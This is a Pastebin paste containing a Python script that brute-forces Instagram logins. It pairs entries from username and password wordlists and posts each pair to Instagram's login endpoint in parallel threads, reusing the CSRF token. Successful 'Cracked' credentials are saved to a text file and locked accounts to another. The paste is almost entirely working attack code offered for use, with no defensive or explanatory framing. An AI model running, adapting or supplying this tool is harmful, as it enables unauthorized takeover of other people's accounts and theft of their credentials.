Advertisement
Guest User

Untitled

a guest
Sep 6th, 2016
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.06 KB | None | 0 0
  1. import requests as Brut
  2. from threading import Thread
  3.  
  4. import os
  5.  
  6.  
  7. def cls():
  8. os.system('cls' if os.name=='nt' else 'clear')
  9.  
  10. cls()
  11. # End Clear
  12.  
  13. # Start Logo
  14. def logo():
  15. text = '''
  16. ──────────────────────────────────────────────
  17. ─████████████──────────────────██████████████─
  18. ─██░░░░░░░░████────────────────██░░░░░░░░░░██─
  19. ─██░░████░░░░██────────────────██░░██████████─
  20. ─██░░██──██░░██────────────────██░░██─────────
  21. ─██░░██──██░░██─██████████████─██░░██████████─
  22. ─██░░██──██░░██─░jQuery█─Coded░─██░░░░░░░░░░██─
  23. ─██░░██──██░░██─██████████████─██░░██████████─
  24. ─██░░██──██░░██────────────────██░░██─────────
  25. ─██░░████░░░░██────────────────██░░██─────────
  26. ─██░░░░░░░░████────────────────██░░██─────────
  27. ─████████████──────────────────██████─────────
  28. ──────────────────────────────────────────────
  29. '''
  30. return text
  31. # End Logo
  32. print(logo())
  33.  
  34.  
  35.  
  36. def Login(url, user, password):
  37. ses = Brut.Session()
  38. op = url
  39. ses.get(op)
  40. token = ses.cookies['csrftoken']
  41. ses.headers = {
  42. "Host": "www.instagram.com",
  43. "User-Agent": "Mozilla/5.0(Windows NT 6.3;WOW64;rv:46.0)Gecko/20100101Firefox/46.0",
  44. "Accept": "*/*",
  45. "Accept-Language": "en-US,en;q=0.5",
  46. "X-Instagram-AJAX": "1",
  47. "X-CSRFToken": token,
  48. "X-Requested-With": "XMLHttpRequest",
  49. "Referer": "https://www.instagram.com/accounts/login/"
  50.  
  51. }
  52. logindata = dict(csrfmiddlewaretoken=token, username=user, password=password)
  53. a = ses.post("https://www.instagram.com/accounts/login/ajax/", data=logindata)
  54.  
  55.  
  56.  
  57. if ('"authenticated": false' in str(a.text)):
  58. print("[-]{} {}".format(user, password))
  59. #print(a.text)
  60.  
  61.  
  62. elif ("true" in str(a.text)):
  63. print("\a[+]Cracked ({})=> {}".format(user, password))
  64. ff = open('trueinstagram.txt', 'a+')
  65. ff.write("{} : {}\n".format(user, password))
  66.  
  67.  
  68. elif('"lock": false' in str(a.text)):
  69. print("[+]\a {}:{} Verify Your Account".format(user, password))
  70. v = open('lock.txt', 'a+')
  71. v.write("{} : {}\n".format(user, password))
  72.  
  73. else:
  74. print("\a[+]({})=> {}".format(user, password))
  75. print(a.text)
  76. f = open('sorry.txt', 'a+')
  77. f.write("{} : {}\n".format(user, password))
  78.  
  79.  
  80.  
  81. #End Function Login
  82.  
  83. thrdlst = []
  84. print("#" * 70)
  85.  
  86. i = 5
  87. pwd = open("passtest.txt","r").read().split('\n')
  88. user = open("usertest.txt","r").read().split('\n')
  89. for users in user:
  90. for password in pwd:
  91.  
  92. t = Thread(target=Login, args=("https://www.instagram.com/accounts/login/ajax/", str(users), password))
  93. t.start()
  94.  
  95.  
  96. thrdlst.append(t)
  97. for b in thrdlst:
  98. b.join()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement